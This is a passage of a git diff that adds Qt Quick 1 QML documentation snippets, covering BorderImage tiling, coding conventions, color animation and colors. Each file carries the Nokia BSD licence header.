+}
+//! [scaled border image]
+
+ Rectangle {
+ x: 30; y: 0
+ width: 1; height: 180
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 150; y: 0
+ width: 1; height: 180
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 30
+ width: 180; height: 1
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 150
+ width: 180; height: 1
+ color: "gray"
+ }
+}
diff --git a/doc/src/snippets/qtquick1/borderimage/borderimage-tiled.qml b/doc/src/snippets/qtquick1/borderimage/borderimage-tiled.qml
new file mode 100644
index 0000000000..22a2edfaa8
--- /dev/null
+++ b/doc/src/snippets/qtquick1/borderimage/borderimage-tiled.qml
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ color: "white"
+ width: 180; height: 180
+
+//! [tiled border image]
+BorderImage {
+ width: 180; height: 180
+ border { left: 30; top: 30; right: 30; bottom: 30 }
+ horizontalTileMode: BorderImage.Repeat
+ verticalTileMode: BorderImage.Repeat
+ source: "pics/borderframe.png"
+}
+//! [tiled border image]
+
+ Rectangle {
+ x: 30; y: 0
+ width: 1; height: 180
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 150; y: 0
+ width: 1; height: 180
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 30
+ width: 180; height: 1
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 150
+ width: 180; height: 1
+ color: "gray"
+ }
+}
diff --git a/doc/src/snippets/qtquick1/borderimage/normal-image.qml b/doc/src/snippets/qtquick1/borderimage/normal-image.qml
new file mode 100644
index 0000000000..f3b19af022
--- /dev/null
+++ b/doc/src/snippets/qtquick1/borderimage/normal-image.qml
@@ -0,0 +1,77 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: page
+ color: "white"
+ width: 120; height: 120
+
+//! [normal image]
+Image {
+ source: "pics/borderframe.png"
+}
+//! [normal image]
+
+ Rectangle {
+ x: 30; y: 0
+ width: 1; height: 120
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 90; y: 0
+ width: 1; height: 120
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 30
+ width: 200; height: 1
+ color: "gray"
+ }
+
+ Rectangle {
+ x: 0; y: 90
+ width: 200; height: 1
+ color: "gray"
+ }
+}
diff --git a/doc/src/snippets/qtquick1/codingconventions/dotproperties.qml b/doc/src/snippets/qtquick1/codingconventions/dotproperties.qml
new file mode 100644
index 0000000000..7243ec2518
--- /dev/null
+++ b/doc/src/snippets/qtquick1/codingconventions/dotproperties.qml
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+
+//! [0]
+Rectangle {
+ anchors.left: parent.left; anchors.top: parent.top; anchors.right: parent.right; anchors.leftMargin: 20
+}
+
+Text {
+ text: "hello"
+ font.bold: true; font.italic: true; font.pixelSize: 20; font.capitalization: Font.AllUppercase
+}
+
+//! [0]
+
+//! [1]
+Rectangle {
+ anchors { left: parent.left; top: parent.top; right: parent.right; leftMargin: 20 }
+}
+
+Text {
+ text: "hello"
+ font { bold: true; italic: true; pixelSize: 20; capitalization: Font.AllUppercase }
+}
+//! [1]
+
+}
diff --git a/doc/src/snippets/qtquick1/codingconventions/javascript-imports.qml b/doc/src/snippets/qtquick1/codingconventions/javascript-imports.qml
new file mode 100644
index 0000000000..ba22967cce
--- /dev/null
+++ b/doc/src/snippets/qtquick1/codingconventions/javascript-imports.qml
@@ -0,0 +1,47 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//![0]
+import "myscript.js" as Script
+
+Rectangle { color: "blue"; width: Script.calculateWidth(parent) }
+//![0]
diff --git a/doc/src/snippets/qtquick1/codingconventions/javascript.qml b/doc/src/snippets/qtquick1/codingconventions/javascript.qml
new file mode 100644
index 0000000000..8ca289f188
--- /dev/null
+++ b/doc/src/snippets/qtquick1/codingconventions/javascript.qml
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+
+//![0]
+Rectangle { color: "blue"; width: parent.width / 3 }
+//![0]
+
+//![1]
+Rectangle {
+ color: "blue"
+ width: {
+ var w = parent.width / 3
+ console.debug(w)
+ return w
+ }
+}
+//![1]
+
+//![2]
+function calculateWidth(object)
+{
+ var w = object.width / 3
+ // ...
+ // more javascript code
+ // ...
+ console.debug(w)
+ return w
+}
+
+Rectangle { color: "blue"; width: calculateWidth(parent) }
+//![2]
+}
diff --git a/doc/src/snippets/qtquick1/codingconventions/lists.qml b/doc/src/snippets/qtquick1/codingconventions/lists.qml
new file mode 100644
index 0000000000..4b63b558b1
--- /dev/null
+++ b/doc/src/snippets/qtquick1/codingconventions/lists.qml
@@ -0,0 +1,62 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Item {
+ Item {
+//! [0]
+states: [
+ State {
+ name: "open"
+ PropertyChanges { target: container; width: 200 }
+ }
+]
+//! [0]
+ }
+ Item {
+//! [1]
+states: State {
+ name: "open"
+ PropertyChanges { target: container; width: 200 }
+}
+//! [1]
+ }
+}
diff --git a/doc/src/snippets/qtquick1/codingconventions/myscript.js b/doc/src/snippets/qtquick1/codingconventions/myscript.js
new file mode 100644
index 0000000000..cfa646250b
--- /dev/null
+++ b/doc/src/snippets/qtquick1/codingconventions/myscript.js
@@ -0,0 +1,9 @@
+function calculateWidth(parent)
+{
+ var w = parent.width / 3
+ // ...
+ // more javascript code
+ // ...
+ console.debug(w)
+ return w
+}
diff --git a/doc/src/snippets/qtquick1/codingconventions/photo.qml b/doc/src/snippets/qtquick1/codingconventions/photo.qml
new file mode 100644
index 0000000000..78c506890a
--- /dev/null
+++ b/doc/src/snippets/qtquick1/codingconventions/photo.qml
@@ -0,0 +1,85 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//! [0]
+Rectangle {
+ id: photo // id on the first line makes it easy to find an object
+
+ property bool thumbnail: false // property declarations
+ property alias image: photoImage.source
+
+ signal clicked // signal declarations
+
+ function doSomething(x) // javascript functions
+ {
+ return x + photoImage.width
+ }
+
+ color: "gray" // object properties
+ x: 20; y: 20; height: 150 // try to group related properties together
+ width: { // large bindings
+ if(photoImage.width > 200){
+ photoImage.width;
+ }else{
+ 200;
+ }
+ }
+
+ Rectangle { // child objects
+ id: border
+ anchors.centerIn: parent; color: "white"
+
+ Image { id: photoImage; anchors.centerIn: parent }
+ }
+
+ states: State { // states
+ name: "selected"
+ PropertyChanges { target: border; color: "red" }
+ }
+
+ transitions: Transition { // transitions
+ from: ""; to: "selected"
+ ColorAnimation { target: border; duration: 200 }
+ }
+}
+//! [0]
+
diff --git a/doc/src/snippets/qtquick1/codingconventions/private.qml b/doc/src/snippets/qtquick1/codingconventions/private.qml
new file mode 100644
index 0000000000..909f5fac52
--- /dev/null
+++ b/doc/src/snippets/qtquick1/codingconventions/private.qml
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+//! [0]
+Item {
+ id: component
+ width: 40; height: 50
+ property real __area: width * height * 0.5 //not meant for outside use
+}
+//! [0]
diff --git a/doc/src/snippets/qtquick1/coloranimation.qml b/doc/src/snippets/qtquick1/coloranimation.qml
new file mode 100644
index 0000000000..8e15824757
--- /dev/null
+++ b/doc/src/snippets/qtquick1/coloranimation.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//![0]
+import QtQuick 1.0
+
+Rectangle {
+ width: 100; height: 100
+ color: "red"
+
+ ColorAnimation on color { to: "yellow"; duration: 1000 }
+}
+//![0]
+
diff --git a/doc/src/snippets/qtquick1/colors.qml b/doc/src/snippets/qtquick1/colors.qml
new file mode 100644
index 0000000000..c670eca0ea
--- /dev/null
+++ b/doc/src/snippets/qtquick1/colors.qml
@@ -0,0 +1,125 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 160; height: 250
+
+ Image {
+ width: 160; height: 200
+ source: "pics/checker.svg"
+ fillMode: Image.Tile
+
+ //! [colors]
+ Rectangle {
+ color: "steelblue"
+ width: 40; height: 40
+ }
+ Rectangle {
+ color: "transparent"
+ y: 40; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#FF0000"
+ y: 80; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#800000FF"
+ y: 120; width: 40; height: 40
+ }
+ Rectangle {
+ color: "#00000000" // ARGB fully transparent
+ y: 160
+ width: 40; height: 40
+ }
+ //! [colors]
+
+ Rectangle {
+ x: 40
+ width: 120; height: 200
+
+ Text {
+ font.pixelSize: 16
+ text: "steelblue"
+ x: 10; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "transparent"
+ x: 10; y: 40; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "FF0000"
+ x: 10; y: 80; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "800000FF"
+ x: 10; y: 120; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ Text {
+ font.pixelSize: 16
+ text: "00000000"
+ x: 10; y: 160; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+ }
+ }
+
+ Image {
+ y: 210
+ width: 40; height: 40
+ source: "pics/checker.svg"
+ fillMode: Image.Tile
+ }
+
+ Text {
+ font.pixelSize: 16
+ text: "(background)"
+ x: 50; y: 210; height: 40
+ verticalAlignment: Text.AlignVCenter
+ }
+}
diff --git a/doc/src/snippets/qtquick1/column/column.qml b/doc/src/snippets/qtquick1/column/column.qml
new file mode 100644
index 0000000000..b3546f4ab1
--- /dev/null
+++ b/doc/src/snippets/qtquick1/column/column.qml
@@ -0,0 +1,67 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
